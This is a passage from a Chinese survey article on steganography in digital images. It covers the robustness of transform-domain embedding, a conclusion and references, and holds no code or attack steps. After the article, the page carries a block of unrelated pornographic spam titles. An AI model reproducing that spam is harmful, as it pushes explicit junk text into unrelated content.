由于變換域信息隱藏技術(shù)是在頻域嵌入信息,因此它有頻域所固有的抗攻擊和變換的能力,使這一隱藏方案對(duì)比例變化、JPEG壓縮、抖動(dòng)、剪輯、打印/掃描以及合謀攻擊都具有很好的魯棒性。它的優(yōu)點(diǎn)體現(xiàn)在以下幾點(diǎn):(1)在變換域中嵌入的信號(hào)能量可以分布到空間域的所有像素上,有利于保證秘密信息的不可見性;(2)在變換域中,人類視覺系統(tǒng)的某些特性(如頻率掩蔽效應(yīng))可以更方便的結(jié)合到秘密信息編碼過程中,提高算法的魯棒性;(3)交換域方法與大多數(shù)國際數(shù)據(jù)壓縮標(biāo)準(zhǔn)兼容,從而可以直接實(shí)現(xiàn)壓縮域內(nèi)的隱藏算法,提高效率,同時(shí),也能抵抗相應(yīng)的有損壓縮。

四、結(jié)束語

信息隱藏在信息安全、電子商務(wù)、軍事、醫(yī)療系統(tǒng)、國家情報(bào)等方面有著非常重要的意義,正是由于它廣泛的應(yīng)用和重要的地位,使信息隱藏的研究成為科學(xué)研究的熱點(diǎn)之一。

基于圖像的信息隱藏技術(shù)具有載體數(shù)字圖像的一些自身特點(diǎn),同時(shí)具備信息隱藏技術(shù)的共性,以圖像為載體的信息隱藏技術(shù)是信息隱藏研究的一個(gè)重要分支。本文主要介紹以數(shù)字圖像為載體的信息隱藏技術(shù),主要以信息隱藏算法的一般流程為依據(jù),闡述了信息隱藏的基本概念,歸納了信息隱藏的一般模型、基本方法,并分析、總結(jié)了該領(lǐng)域的常見經(jīng)典算法,為下一步的深入研究奠定了堅(jiān)實(shí)的基礎(chǔ)。

參考文獻(xiàn):

[1]徐獻(xiàn)靈.基于數(shù)字圖像的信息隱藏技術(shù)及其應(yīng)用[D].中山大學(xué)碩士畢業(yè)論文,2007

[2]黃愛民,安向京,駱力.數(shù)字圖像處理與分析基礎(chǔ)[M].北京:中國水利水電出版社,2005

[3]王麗娜,張煥國,葉登攀.信息隱藏技術(shù)與應(yīng)用(第二版)[M].武昌:武漢大學(xué)出版社,2009

上一篇: 十歲成長禮家長寄語 下一篇: 專賣店工作經(jīng)驗(yàn)總結(jié)
相關(guān)精選
相關(guān)期刊
久久久噜噜噜久久中文,精品五月精品婷婷,久久精品国产自清天天线,久久国产一区视频
亚洲国产大片一区官网 | 日本高潮A级按摩中文片 | 亚州高清在线A∨ | 欧美日韩日本在线观看A | 亚洲开心网激情五月 | 在线播放极品女神被高潮 |